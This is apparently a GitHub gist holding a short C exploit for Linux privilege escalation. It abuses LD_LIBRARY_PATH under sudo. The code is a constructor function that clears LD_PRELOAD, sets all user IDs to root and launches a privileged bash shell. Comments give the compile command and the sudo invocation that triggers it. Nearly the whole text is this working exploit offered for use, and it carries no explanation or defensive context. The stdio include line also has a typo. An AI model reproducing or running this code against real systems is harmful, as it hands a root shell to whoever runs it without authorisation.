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lucasallan/ld_library_path.c

Last active December 13, 2019 04:41
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ld_library_path.c
#include <stdio.>
#include <sys/types.h>
#include <stdlib.h>
static void hack() __attribute__((constructor));
void hack(){
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
// gcc -fPIC -shared -nostartfiles -o <library-object-name.o> ld_library_path.c
// sudo LD_LIBRARY_PATH=. <binary>
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